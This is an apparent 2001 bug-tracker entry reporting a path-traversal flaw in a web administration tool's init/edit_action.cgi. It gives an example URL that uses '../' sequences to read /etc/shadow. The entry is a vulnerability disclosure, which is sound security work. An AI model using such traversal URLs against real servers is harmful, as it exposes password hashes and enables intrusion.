#248 open()

open
nobody
None
5
2001-12-17
2001-12-17
Anonymous
No

With this software you can start and stop services
with simple user, and edit init scripts.
like this:
http://www.domain.com:10000/servers/link.cgi/1008341480
/init/edit_action.cgi?0+makedev
but you can use this:
http://www.domain.com:10000/servers/link.cgi/1008341480
/init/edit_action.cgi?0+../../../../../etc/shadow

The problem reside on init/edit_action.cgi open.

Discussion